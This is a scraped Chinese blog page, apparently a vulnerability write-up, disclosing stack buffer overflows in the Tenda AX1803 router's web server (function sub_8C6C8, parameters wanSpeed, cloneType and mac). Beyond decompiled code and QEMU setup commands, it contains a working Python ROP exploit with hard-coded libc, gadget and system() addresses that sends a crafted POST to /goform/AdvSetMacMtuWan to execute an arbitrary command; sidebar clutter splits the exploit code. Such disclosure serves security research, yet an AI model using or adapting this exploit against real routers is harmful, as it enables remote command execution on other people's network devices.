

10g4n

路虽远，行则必至；事虽难，做则必成。

[博客园](#)
[首页](#)
[新随笔](#)
[联系](#)
[订阅](#)
[管理](#)

## Tenda ax1803's stack overflow

# Tenda ax1803's stack overflow

## Setting up the environment

Create a br0 NIC:

```
sudo tuncctl -t br0 -u root
sudo ifconfig br0 192.168.0.1/24
```

Copy qemu-arm-static to the corresponding directory on the filesystem and start the tdthttpd service:

```
sudo chroot . ./qemu-arm-static ./bin/tdthttpd
```

## Stack overflow in sub\_8C6C8

This stack overflow occurs in sub\_8C6C8 function,the length of the wanSpeed variable is not checked accordingly.

```
int __fastcall sub_8C6C8(websRec *a1)
{
    const char *wanSpeed; // r0
    int v3; // r7
    const char *cloneType; // r0
    const char *mac; // r0
    const char *v6; // r0
    char v8[32]; // [sp+8h] [bp+0h] BYREF
    char s[32]; // [sp+28h] [bp+20h] BYREF
    char v10[32]; // [sp+48h] [bp+40h] BYREF
    char v11[32]; // [sp+68h] [bp+60h] BYREF
    char v12[32]; // [sp+88h] [bp+80h] BYREF
    char v13[32]; // [sp+A8h] [bp+A0h] BYREF

    memset(v8, 0, sizeof(v8));
    memset(s, 0, sizeof(s));
    memset(v10, 0, sizeof(v10));
    memset(v11, 0, sizeof(v11));
    memset(v12, 0, sizeof(v12));
    memset(v13, 0, sizeof(v13));
    GetValue("wan.speed", (int)v8);
    GetValue("wan.mac_type", (int)s);
    GetValue("wan.mac", (int)v10);
    wanSpeed = getValue(a1, "wanSpeed", (int)"0");
    strcpy(v11, wanSpeed);
}
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/AdvSetMacMtuWan"
cmd = sys.argv[2]

libc_base = 0xfef99000
gadget1 = 0xff08dcde # mov r0, sp ; blx r3
gadget2 = 0xff01987c # mov r3, r4 ; mov r0, r3 ; pop {r4, pc}
system_addr = 0xfefd06c8

payload = 'a'*96 + p32(system_addr) + p32(0xdeadbeef)*6 + p32(gadget2)
payload += p32(0xdeadbeef) + p32(gadget1) + cmd
```

### 公告

昵称: Riv4ille  
 园龄: 2年8个月  
 粉丝: 12  
 关注: 14  
[+加关注](#)

2022年11月				
日	一	二	三	四
30	31	1	2	3
6	7	8	9	10
13	14	15	16	17
20	21	22	23	24
27	28	29	30	1
4	5	6	7	8

### 搜索

### 常用链接

[我的随笔](#)  
[我的评论](#)  
[我的参与](#)  
[最新评论](#)  
[我的标签](#)

### 我的标签

[二进制漏洞分析\(4\)](#)

### 随笔分类

[MIPS\(2\)](#)  
[pwn\(24\)](#)  
[Re\(7\)](#)  
[Web\(3\)](#)  
[漏洞分析\(5\)](#)  
[漏洞挖掘\(5\)](#)  
[密码学\(1\)](#)  
[网络编程\(1\)](#)

### 随笔档案

[2022年11月\(1\)](#)  
[2022年10月\(2\)](#)  
[2022年9月\(2\)](#)  
[2022年3月\(1\)](#)  
[2021年12月\(1\)](#)  
[2021年11月\(2\)](#)

```
payload = "wan1.connecttype=2&wanMTU=&wanSpeed=%s&cloneType=0&mac=00:00:00:00:00:01&serviceName=wan1"
content_length = len(payload)
headers = {
    "Host": "192.168.0.1",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4398.95 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "http://192.168.0.1",
    "Referer": "http://192.168.0.1/main.html",
    "Content-Length": "%d"%content_length
}
```

```
r = requests.post(url, headers=headers, data=payload)
```



Two more vulnerability in the same function.

```
cloneType = getValue(a1, "cloneType", (int)"0");
strcpy(v12, cloneType);
mac = getValue(a1, "mac", (int)&byte_1EACC5);
strcpy(v13, mac);
```

The proof-of-concept code is no longer available, it is no different from the one given, the only difference is the offset in the stack.

分类: [pwn](#), [漏洞挖掘](#)

[好文要顶](#)[关注我](#)[收藏该文](#)



[Riv4ille](#)  
粉丝 - 12 关注 - 14

[+加关注](#)

« 上一篇: [Tenda ax1803 is vulnerable to a buffer overflow](#)  
» 下一篇: [Tenda ax12 is vulnerable to a buffer overflow](#)

posted @ 2022-09-18 02:38 Riv4ille 阅读(207) 评论(0) 编辑 收藏 举报

登录后才能查看或发表评论, 立即 [登录](#) 或者 [逛逛](#) 博客园首页

【推荐】阿里云金秋云创季, 云服务器2核2G低至49.68元/年

- 编辑推荐:
- 一步一图带你深入理解 Linux 物理内存管理
  - 快速构建页面结构的 3D Visualization
  - 技术管理之如何协调加班问题
  - 新零售 SaaS 架构: 多租户系统架构设计
  - 用最少的代码模拟 gRPC 四种消息交换模式

- 阅读排行:
- 聊一聊如何截获 C# 程序产生的日志
  - 好好的系统, 为什么要分库分表?
  - 群晖NAS搭建外网可访问的电子图书馆Calibre-Web
  - .net core/5/6/7中WPF如何优雅的开始开发
  - 使用c#的 async/await编写 长时间运行的基于代码的工作流的 持久任务框架

- 2021年8月(2)
- 2021年7月(2)
- 2021年5月(2)
- 2021年4月(1)
- 2021年1月(1)
- 2020年11月(2)
- 2020年10月(1)
- 2020年9月(1)
- 2020年8月(3)
- [更多](#)

友链

一起学习的rookie师傅  
Star大哥  
Blank: 亲爱的misc爷和re爷  
yk2er0

阅读排行榜

1. 从prctl函数开始学习沙箱规则(274)
2. ubuntu安装qemu(2282)
3. MIPS汇编学习(1976)
4. PWN——uaf漏洞学习(1618)
5. 攻防世界misc——János-the-Ripp

评论排行榜

1. House\_of\_orange 学习小结(2)
2. 漏洞分析: CVE-2017-17215(1)
3. 漏洞分析: CVE 2021-3156(1)

推荐排行榜

1. 从prctl函数开始学习沙箱规则(2)
2. 漏洞分析: CVE-2017-17215(1)
3. 记一道比较简单的协议栈逆向题目(1)
4. 漏洞分析: CVE 2021-3156(1)
5. PWN——uaf漏洞学习(1)

最新评论

1. Re:漏洞分析: CVE-2017-17215  
好耶, 又找到了
2. Re:漏洞分析: CVE 2021-3156  
大神, 虽然看不懂, 但是貌似很厉害的  
--灯:
3. Re:House\_of\_orange 学习小结  
学弟帮忙点个推荐啊, 哈哈哈哈哈
4. Re:House\_of\_orange 学习小结  
好耶,写的太详细了